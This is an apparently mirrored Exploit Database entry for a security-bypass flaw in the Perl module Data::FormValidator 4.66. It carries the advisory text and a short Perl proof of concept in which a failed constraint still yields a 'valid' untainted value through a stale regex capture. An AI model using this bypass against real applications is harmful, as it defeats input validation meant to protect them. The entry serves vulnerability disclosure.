Perl Data::FormValidator 4.66 Module – ‘results()’ Security Bypass

• Exploit Database
• 94 阅读

• 作者： dst
  日期： 2011-06-08
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/35836/

• source: https://www.securityfocus.com/bid/48167/info
  
  The Perl Data::FormValidator module is prone to a security-bypass vulnerability.
  
  An attacker can exploit this issue to bypass certain security restrictions and obtain potentially sensitive information.
  
  Data::FormValidator 4.66 is vulnerable; other versions may also be affected.
  
  #!/opt/perl/5.12/bin/perl
  
  use strict;
  use warnings;
  
  use Data::FormValidator;
  
  "some_unrelated_string" =~ m/^.*$/;
  
  my $profile = {
  untaint_all_constraints => 1,
  required => [qw(a)],
  constraint_methods => {
  a => qr/will_never_match/,
  },
  };
  
  my $results = Data::FormValidator->check({ a => 1 }, $profile);
  warn $results->valid('a');
  

  Bash

  Copy